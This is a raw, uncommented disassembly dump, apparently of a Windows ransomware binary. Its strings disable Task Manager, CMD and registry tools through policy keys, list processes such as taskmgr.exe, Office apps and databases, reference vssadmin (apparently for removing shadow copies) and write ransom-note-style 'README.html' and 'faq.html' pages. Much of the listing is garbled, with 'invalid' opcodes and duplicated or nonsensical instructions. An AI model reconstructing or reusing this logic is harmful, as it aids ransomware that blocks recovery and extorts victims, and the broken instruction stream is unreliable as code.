mov r8, qword [rbp + 0xe8]
mov byte [r8], 0
cmp qword [rbp + 0xf0], 0
lock add byte [rax], al
add byte [rax], al
lock add byte [rax], al
add byte [rax], al
je 0x14002f127
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbx], 0
test r15, r15
je 0x14002f141
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rbp + 0x150]
add rsp, 0x1e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edx, 0x20
call fcn.1400a9bd0
ud2
call fcn.1400401e0
ud2
pop rbp
pop r14
pop r15
pop rbp
ret
mov rsi, r9
mov rdi, r8
mov rbx, rdx
mov r14, rcx
lea rcx, [rsp + 0x40]
and al, 0x40
invalid
and al, 0x40
mov rdx, r14
mov r8, rbx
call fcn.140084cf0
cmp dword [rsp + 0x40], 2
and al, 0x40
add dh, byte [rbp + 0x4e]
and al, 0x40
add dh, byte [rbp + 0x4e]
mov rax, qword [rsp + 0x48]
lea rcx, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
call fcn.140079f00
lea rcx, [rsp + 0x40]
mov rdx, r14
mov r8, rbx
call fcn.140084cf0
cmp dword [rsp + 0x40], 2
add dh, byte [rbp + 0x4e]
add dh, byte [rbp + 0x4e]
mov rax, qword [rsp + 0x48]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
call fcn.140079f00
jmp 0x14002f305
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x802484], cl
add byte [rax], al
mov eax, dword [rsp + 0x80]
test eax, 0x400
sete cl
test dword [rsp + 0x84], 0x20000000
sete dl
or dl, cl
cmp dl, 1
jne 0x14002f248
add al, 0
add byte [rdi], cl
xchg esp, eax
sal edi, 0x84
and al, 0x84
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [rdi], cl
xchg esp, eax
ret 0xca08
and eax, 0x10
jne 0x14002f248
mov byte [rsp + 0x20], 0
jmp 0x14002f2db
invalid
mov eax, dword cs:[rsp + 0x80]
mov eax, dword [rsp + 0x80]
test eax, 0x400
sete cl
test dword [rsp + 0x84], 0x20000000
sete dl
or dl, cl
cmp dl, 1
jne 0x14002f305
and eax, 0x10
je 0x14002f305
invalid
invalid
mov byte [rsp + 0x20], 1
add dword [rcx + rcx*4 - 0xf], ecx
mov rcx, r14
mov rdx, rbx
mov r8, rdi
mov r9, rsi
int1
int1
call fcn.140096750
test rax, rax
je 0x14002f305
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14002f305
test rcx, rcx
jne 0x14002f312
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rsi, rax
dec rsi
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14002f349
cmp qword [rbx + 0x10], 0x11
jb 0x14002f337
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x688
movaps xmmword [rsp + 0x670], xmm6
mov ah, 0x24
jo 0x14002f38f
add byte [rax], al
mov ah, 0x24
jo 0x14002f38f
add byte [rax], al
mov r13, r8
mov rsi, rdx
mov esi, edx
mov rdi, rcx
movzx eax, byte [rdx + 0x58]
lea rcx, [0x1400ef5ac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [rsi + 0x60]
lea rcx, [rsp + 0x260]
mov r8, r13
call fcn.14002e260
cmp qword [rsp + 0x260], 0
je 0x14002f7c8
test ch, bh
add eax, dword [rax]
invalid
test ch, bh
add eax, dword [rax]
add byte [rax + 0x8bce903], dh
add byte [rax], al
mov al, 3
jmp 0x14002fc8e
lea r12, [rsi + 0x70]
movzx eax, byte [rsi + 0x70]
lea rcx, [0x1400ef5d0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rbx, qword [rsi + 0x60]
mov r14, qword [rsi + 0x68]
lea rcx, [rsp + 0x260]
call fcn.14002ebf0
invalid
dec dword [rbx + rcx*4 - 0x44]
and al, 0x60
add al, byte [rax]
add byte [rbp - 0x7b], cl
dec dword [rdi]
invalid
invalid
and eax, dword [rax]
invalid
mov r13, qword [rsp + 0x268]
mov r9, qword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
lea rcx, str.ChromeOperaFirefoxEdge
mov edx, 6
mov r8, r15
call fcn.14000d1a0
invalid
std
inc dword [rax + rax*8 + 0x8c9840f]
add byte [rax], al
invalid
test r13, r13
je 0x14002f453
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], al
mov qword [rsi + 0x78], rbx
mov qword [rsi + 0x80], r14
lea r13, [rsi + 0xb0]
mov byte [rsi + 0xb0], 0
jmp 0x14002fc34
ret
invalid
add byte [rax], al
ret
movzx eax, byte [rsi + 0x3b8]
test eax, eax
je 0x14002f49f
cmp eax, 3
je 0x14002f722
clc
add ecx, dword [rdi]
test byte [rbp + 0x48000002], bl
lea ecx, str._async_fn__resumed_after_completion
lea rcx, str._async_fn__resumed_after_completion
lea r8, [0x1400bb8e8]
or byte [rax], al
mov edx, 0x23
call fcn.1400a9e70
ud2
mov r14, qword [rsi + 0x60]
mov r15, qword [rsi + 0x68]
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
invalid
add byte [rax - 0x75], cl
or eax, 0xc9d43
invalid
test rcx, rcx
jne 0x14002f4d3
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
test eax, eax
test eax, eax
je 0x140031e04
mov rcx, rax
mov qword [0x1400f91f8], rax
popfq
or al, 0
mov r8d, 0xb
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
invalid
invd
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sbb ch, byte [rcx]
add byte [rax], al
invalid
add byte [rax], al
movabs rcx, 0x2e64617065746f6e
mov qword [rax], rcx
mov dword [rax + 7], 0x6578652e
invalid
js 0x14002f563
mov qword [rsi + 0xa0], rax
mov qword [rsi + 0xa8], 0xb
invalid
test al, 0
add byte [rax], al
or eax, dword [rax]
add byte [rax], al
mov qword [rsi + 0xb0], 0xb
mov byte [rsi + 0xb8], 0
mov qword [rsi + 0x100], 8
xchg byte [rax], al
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x39], cl
xchg al, al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg byte [rax], al
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x39], cl
xchg al, al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0xd0], 0
invalid
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0xd0], 0
mov word [rsi + 0xd8], 0
xchg al, bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg al, bl
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
xchg byte [rax], cl
add dword [rax], eax
add dh, al
xchg al, bh
add byte [rax], al
add byte [rdx], al
xorps xmm0, xmm0
movups xmmword [rsi + 0x108], xmm0
mov byte [rsi + 0xf8], 2
mov dword [rsi + 0x130], 0
add byte [rax], al
add byte [rsi - 0x39], ah
xchg byte [rcx + rax], dh
add byte [rax], al
add byte [rax], al
invalid
mov word [rsi + 0x134], 0
mov dword [rsi + 0x70], 6
mov dword [rsi + 0x80], 6
xchg byte [rax + 0x6000000], al
add byte [rax], al
add bh, al
xchg byte [rax + 0x6000000], dl
add byte [rax], al
add byte [rax], al
xchg byte [rax + 0x6000000], al
add byte [rax], al
add bh, al
xchg byte [rax + 0x6000000], dl
add byte [rax], al
add byte [rax], al
invalid
invalid
xchg byte [rax], bl
add dword [rax], eax
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsi + 0x118], 0
add byte [rax], al
add byte [rax - 0x39], cl
xchg byte [rax], ch
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], bh
cmp byte [rcx], al
invalid
mov qword [rsi + 0x128], 0
mov byte [rsi + 0x138], 0
cmp byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
lea rdx, [0x1400b24c4]
lea rcx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
mov r8d, 0xb
mov eax, 0xb
call fcn.14007ff70
movzx eax, byte [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rdx + rax], bh
add eax, 0x84b60f00
and al, 0x88
add byte [rax], al
add byte [rdx + rax], bh
je 0x140031e15
mov r12, qword [rsp + 0x70]
and al, 0x70
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
add byte [rax], al
invalid
add byte [rax], 0
add byte [rax + rax*8 + 0x4d9840f], al
add byte [rax], al
test al, al
je 0x14002fac2
mov qword [rsp + 0x68], rdi
mov rdi, r13
mov qword [rsp + 0x20], 7
and byte [rdi], al
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
wait
invalid
or byte [rax], al
invalid
and byte [rdi], al
add byte [rax], al
invalid
add byte [rbp + rcx*4 + 0xd], cl
wait
sub eax, 0x8d480008
add byte [rax - 0x73], cl
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x70]
and al, 0x70
mov rdx, r12
call fcn.1400863b0
mov r13, qword [rsp + 0x70]
and al, 0x70
mov rbp, qword [rsp + 0x80]
lea rcx, [rsp + 0x1a0]
mov word [rax + riz*4], fs
add dword [rax], eax
add byte [rcx + rcx*4 - 0xe], cl
invalid
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + riz*4], fs
add dword [rax], eax
add byte [rcx + rcx*4 - 0xe], cl
invalid
mov r8, r15
mov r8, r15
call fcn.14000f9e0
mov r14, qword [rsp + 0x1a0]
mov esi, dword [rsp + 0x1a0]
mov esi, dword [rsp + 0x1a0]
movabs al, byte [0xb024848b48000001]
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0xb0
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
and al, 0x30
lea rcx, [rsp + 0x30]
mov rdx, r13
mov r8, rbp
invalid
mov r9, r14
call 0x128f47f9f
pop rdx
insd dword [rdi], dx
add eax, 0xbc834800
invalid
invalid
mov esp, 0x1a824
mov ecx, esi
call fcn.1400863b0
cmp qword [rsp + 0x1a8], 0
add byte [rax], al
je 0x14002f673
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
ror byte [rbp - 0x77], cl
invalid
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x7d], cl
jl 0x14002f69b
cmp qword [rsp + 0x78], 0
js 0x14002f679
je 0x14002f68d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
mov eax, ebp
mov eax, ebp
call 0x14d7e0c8a
or byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x14002f6a4
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
or byte [rax], al
or eax, 0x8d4c0008
jbe 0x14002f718
or byte [rax], al
lea r14, [rsi + 0x70]
cmp byte [rsp + 0x48], 2
add cl, byte [rcx - 0x77]
std
mov r13, rdi
je 0x14002f6e3
mov r15, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rcx, r14
mov rdx, r15
call fcn.1400969c0
test rbx, rbx
je 0x14002f6e3
mov rcx, qword [0x1400f91f8]
wait
or al, 0
xor edx, edx
mov r8, r15
mov eax, edi
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsi + 0x130], 0x8000000
lea r15, [rsp + 0x260]
mov rcx, r15
stc
stc
mov rdx, r14
call fcn.14009a530
mov byte [rsp + 0x4d0], 0
lea rcx, [rsi + 0x140]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
js 0x14002f715
mov r8d, 0x278
add byte [rax], al
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rsp + 0x68]
lea r12, [rsi + 0x3b8]
lea r14, [rsi + 0x140]
lea rcx, [rsp + 0x70]
mov rdx, r14
mov r8, r13
call fcn.140014460
mov ebp, dword [rsp + 0x70]
cmp ebp, 2
jne 0x14002f755
mov byte [r12], 3
mov al, 8
jmp 0x14002fc8e
mov rbx, qword [rsp + 0x78]
and al, 0x78
mov rcx, r14
call fcn.14000bae0
test ebp, ebp
je 0x14002fab4
movzx eax, byte [0x1400f92c0]
wait
or al, 0
mov rcx, qword [0x1400f91f8]
test rcx, rcx
sbb byte [rdx - 0x7ab7fff4], 0xc9
jne 0x14002f796
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140031e19
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140031e19
mov r14, rax
mov qword [rax], rbx
lea rcx, [rsi + 0x70]
call fcn.14000aca0
lea r15, [0x1400b0c00]
jmp 0x140031725
pop rbp
invalid
add byte [rax], al
pop rbp
invalid
mov r14, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
cmp byte [rsi + 0x408], 3
jne 0x14002f819
lea rcx, [rsi + 0x188]
call fcn.14000bae0
cmp qword [rsi + 0x178], 0
je 0x14002f80d
mov r8, qword [rsi + 0x170]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0xa0]
call fcn.14000aca0
test r14, r14
jne 0x140031744
invalid
add byte [rax - 0x73], cl
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
add eax, 0x8c4d7
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0x39
lea rax, [0x1400bbd39]
mov qword [rsi + 0x70], rax
mov qword [rsi + 0x78], 0xe
mov dword [rsi + 0x400], 0
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], cl
add al, 0
add byte [rax], al
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], cl
add al, 0
add byte [rax], al
lea rdx, [rsi + 0x60]
lea rcx, [rsp + 0x260]
mov r8, r13
mov eax, ebp
mov eax, ebp
call fcn.14002e260
cmp qword [rsp + 0x260], 0
invalid
add al, byte [rax]
add byte [rax], al
je 0x14002f87f
invalid
mov al, 4
jmp 0x14002fc8e
mov r14, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
cmp byte [rsi + 0x408], 3
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x70
add al, byte [rax]
add byte [rax + 0x408be], al
add byte [rbx], al
jne 0x14002f8d0
lea rcx, [rsi + 0x188]
lea ecx, [rsi + 0x188]
call fcn.14000bae0
cmp qword [rsi + 0x178], 0
je 0x14002f8c4
mov r8, qword [rsi + 0x170]
mov rcx, qword [0x1400f91f8]
add byte [rcx], dh
sar bh, cl
adc eax, 0x80b44
or ecx, dword [rax]
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x80b44
or ecx, dword [rax]
invalid
or ecx, dword [rax]
add byte [rax - 0x73], cl
mov fs, word [rax - 0x18000000]
sal byte [rbx - 0x7ab20003], 1
invalid
lea rcx, [rsi + 0xa0]
call fcn.14000aca0
test r14, r14
test esi, esi
test byte [rdi], 0x85
imul ebx, dword [rsi], 0
add byte [rax - 0x73], cl
add eax, 0x8c46a
jne 0x140031744
lea rax, [0x1400bbd4a]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0x2a
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8c481
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8c481
mov qword [rsi + 0x70], rax
mov qword [rsi + 0x78], 0xa
js 0x14002f906
add byte [rax], al
add bh, al
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], cl
or byte [rax + rax], al
add byte [rax], al
js 0x14002f906
add byte [rax], al
add bh, al
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], cl
or byte [rax + rax], al
or byte [rax + rax], al
add byte [rax], al
lea rdx, [rsi + 0x60]
lea rcx, [rsp + 0x260]
mov r8, r13
call fcn.14002e260
invalid
dec dword [rax - 0x7d]
mov esp, 0x26024
add byte [rax], al
invalid
je 0x14002f936
mov al, 5
jmp 0x14002fc8e
pop rax
add eax, dword [rax]
invalid
pop rax
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], cl
mov edi, dword [rsp + 0x270]
cmp byte [rsi + 0x408], 3
mov r14, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
mov edi, dword [rsp + 0x270]
cmp byte [rsi + 0x408], 3
jne 0x14002f987
lea rcx, [rsi + 0x188]
call fcn.14000bae0
cmp qword [rsi + 0x178], 0
je 0x14002f97b
mov r8, qword [rsi + 0x170]
mov rcx, qword [0x1400f91f8]
add byte [rax - 0x75], cl
or eax, 0xc9885
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0xa0]
call fcn.14000aca0
test r14, r14
jne 0x140031744
lea rax, str.vssadmin_v_
loope 0x14002f9ee
or al, byte [rax]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 8
lea rax, [0x1400d5380]
mov qword [rsi + 0x70], rax
mov qword [rsi + 0x78], 4
mov dword [rsi + 0x78], 4
mov dword [rsi + 0x78], 4
mov byte [rsi + 0x80], 0
lea rdx, [rsi + 0x60]
lea rcx, [rsp + 0x260]
call fcn.14002e730
cmp qword [rsp + 0x260], 0
add al, byte [rax]
add byte [rax], al
push rsi
invalid
add al, byte [rax]
add byte [rax], al
je 0x14002f9e0
mov al, 6
jmp 0x14002fc8e
mov r14, qword [rsp + 0x268]
test r14, r14
je 0x14003114e
add al, byte [rax]
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
pop rbp
invalid
add byte [rax], al
mov r15, qword [rsp + 0x270]
cmp qword [rsi + 0x20], 0
jne 0x14003174b
invalid
add cl, ch
push rbp
sbb eax, 0x8d4c0000
scasb al, byte [rdi]
mov al, 0
add byte [rax], al
movzx eax, byte [rsi + 0xb0]
test eax, eax
je 0x14002fbcd
invalid
jmp 0x14003175e
add byte [rbx - 0x7bf0fc08], al
fiadd word [rcx]
add byte [rax], al
cmp eax, 3
je 0x14002fc06
lea rcx, str._async_fn__resumed_after_completion
lea r8, [0x1400bb898]
mov edx, 0x23
call fcn.1400a9e70
ud2
add byte [rbx - 0x7bf0fc08], al
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x81ea8
lea r8, [0x1400bb8b8]
mov edx, 0x23
call fcn.1400a9e70
ud2
lea r13, [rsi + 0xb0]
movzx eax, byte [rsi + 0xb0]
test eax, eax
je 0x14002fc29
cmp eax, 3
je 0x14002fc62
lea rcx, str._async_fn__resumed_after_completion
lea r8, [0x1400bb878]
mov edx, 0x23
call fcn.1400a9e70
ud2
lea rcx, [rsi + 0x70]
call fcn.14000aca0
jmp 0x14002fcbc
test r8, r8
je 0x14002f5e9
lea rax, [rsp + 0x89]
lea rcx, [r12 + r8]
mov r9, r12
jmp 0x14002fafc
add r9, 2
cmp rdx, rcx
cmovne rdx, r9
nop word [rax + rax]
mov r9, rdx
cmp rdx, rcx
je 0x14002f5e9
lea rdx, [r9 + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x14002faf0
cmp r10b, 0xe0
jb 0x14002fadc
cmp r10b, 0xed
jne 0x14002fb3f
cmp rdx, rcx
je 0x14002f5e9
lea rdx, [r9 + 2]
cmp rdx, rcx
je 0x14002f5e9
add r9, 2
cmp rdx, rcx
cmove r9, rdx
xor edx, edx
cmp r9, rcx
setne dl
add rdx, r9
cmp r10b, 0xf0
jb 0x14002faf0
xor r9d, r9d
cmp rdx, rcx
setne r9b
add rdx, r9
jmp 0x14002faf0
mov qword [rsi + 0x88], rbx
mov qword [rsi + 0x90], r14
lea rax, str.firefox
mov qword [rsi + 0x98], rax
mov qword [rsi + 0xa0], 7
mov byte [rsi + 0xa8], 0
lea rdx, [rsi + 0x88]
lea rcx, [rsp + 0x260]
call fcn.14002d050
cmp qword [rsp + 0x260], 0
je 0x14002fc98
mov al, 5
jmp 0x14002fc83
mov rbx, qword [rsi + 0x78]
mov r14, qword [rsi + 0x80]
mov qword [rsi + 0x88], rbx
mov qword [rsi + 0x90], r14
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8bca3
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8bca3
mov qword [rsi + 0x98], rax
mov qword [rsi + 0xa0], 5
mov byte [rsi + 0xa8], 0
lea rdx, [rsi + 0x88]
lea rcx, [rsp + 0x260]
call fcn.14002d050
cmp qword [rsp + 0x260], 0
je 0x14002fc98
mov al, 4
jmp 0x14002fc83
mov rbx, qword [rsi + 0x78]
mov r14, qword [rsi + 0x80]
mov qword [rsi + 0x88], rbx
mov qword [rsi + 0x90], r14
lea rax, [0x1400bb86e]
mov qword [rsi + 0x98], rax
add byte [rax - 0x39], cl
xchg byte [rax + 0x6000000], ah
add byte [rax], al
add dh, al
xchg byte [rax], ch
add byte [rax - 0x39], cl
xchg byte [rax + 0x6000000], ah
add byte [rax], al
add dh, al
xchg byte [rax], ch
lea rdx, [rsi + 0x88]
lea rcx, [rsp + 0x260]
call fcn.14002d050
cmp qword [rsp + 0x260], 0
je 0x14002fc98
mov al, 3
mov byte [r13], 3
mov byte [r12], al
mov al, 7
mov ecx, 1
jmp 0x14003176a
mov r14, qword [rsp + 0x268]
test r14, r14
je 0x14002fcb7
add byte [rbp - 0x7b], cl
div byte [rdx + rdx + 0x4c]
mov edi, dword [rsp + 0x270]
mov r15, qword [rsp + 0x270]
mov byte [r13], 1
add byte [r9], r8b
jmp 0x140031725
mov byte [r13], 1
mov byte [r12], 1
cmp qword [rsi + 0x40], 0
je 0x14002fcdb
mov r8, qword [rsi + 0x38]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x20], 0
je 0x14002fcfd
mov r8, qword [rsi + 0x18]
mov rcx, qword [0x1400f91f8]
xor r14d, r14d
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003175e
xor r14d, r14d
jmp 0x14003175e
test r13, r13
je 0x14002fd1c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
call fcn.14002ebf0
mov r15, qword [rsp + 0x260]
test r15, r15
je 0x140031715
mov r13, qword [rsp + 0x268]
mov r9, qword [rsp + 0x270]
lea rcx, [0x1400bb81e]
mov edx, 5
mov r8, r15
call fcn.14000d1a0
test al, al
je 0x140031339
test r13, r13
je 0x14002fd7d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi + 0x78], rbx
mov qword [rsi + 0x80], r14
lea r13, [rsi + 0xb0]
mov byte [rsi + 0xb0], 0
jmp 0x14002fbd8
mov qword [rsp + 0x508], r13
mov rax, qword [rsi]
mov r14, qword [rsi + 8]
mov qword [rsi + 0x10], rax
lea rdx, [0x1400b24c4]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.140081750
cmp byte [rsp + 0x88], 3
jne 0x140031c64
mov r15, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b239c]
lea rcx, [rsp + 0x260]
mov rdx, r15
call fcn.1400863b0
mov r12, qword [rsp + 0x260]
mov rbp, qword [rsp + 0x270]
lea rdx, str.readme_README.html
lea rcx, [rsp + 0x30]
mov r8d, 0x12
call fcn.14000f9e0
mov r13, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r12
mov r8, rbp
mov r9, r13
call fcn.1400863b0
cmp qword [rsp + 0x38], 0
jne 0x140030f87
cmp qword [rsp + 0x268], 0
jne 0x140030fa8
test rbx, rbx
je 0x14002fe80
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x10]
mov r8, qword [rax]
mov r9, qword [rax + 0x10]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.14001ed10
mov r15, qword [rsp + 0x270]
cmp r15, 2
jbe 0x140031c0c
mov r14, qword [rsp + 0x260]
mov rdx, qword [r14 + 0x30]
mov r8, qword [r14 + 0x40]
lea rcx, [rsp + 0x30]
call fcn.140040b30
lea rbx, [r14 + 8]
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002fee9
add rbx, 0x18
dec r15
je 0x14002ff00
cmp qword [rbx], 0
je 0x14002fee0
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbp
jmp 0x14002fee0
cmp qword [rsp + 0x268], 0
je 0x14002ff1d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x510], xmm0
movaps xmmword [rsp + 0x520], xmm1
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x530], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x540], rax
lea rdx, [0x1400b24c4]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.140081750
cmp byte [rsp + 0x88], 3
jne 0x140031ca7
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b239c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.1400863b0
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.readme_pages_faq.html
lea rcx, [rsp + 0x30]
mov r8d, 0x15
call fcn.14000f9e0
mov r12, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.1400863b0
cmp qword [rsp + 0x38], 0
jne 0x140030fc8
cmp qword [rsp + 0x268], 0
jne 0x140030fe9
test rbx, rbx
je 0x140030026
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
mov r8d, 1
xor edx, edx
xor r9d, r9d
call fcn.14001ed10
mov r15, qword [rsp + 0x270]
cmp r15, 3
jbe case.0x1400279e4.266
mov r14, qword [rsp + 0x260]
mov rdx, qword [r14 + 0x48]
mov r8, qword [r14 + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140040b30
lea rbx, [r14 + 8]
jmp 0x140030079
add rbx, 0x18
dec r15
je 0x140030090
cmp qword [rbx], 0
je 0x140030070
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbp
jmp 0x140030070
cmp qword [rsp + 0x268], 0
je 0x1400300ad
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x230], xmm1
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x250], rax
lea rdx, [0x1400b24c4]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.140081750
cmp byte [rsp + 0x88], 3
jne 0x140031cd0
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b239c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.1400863b0
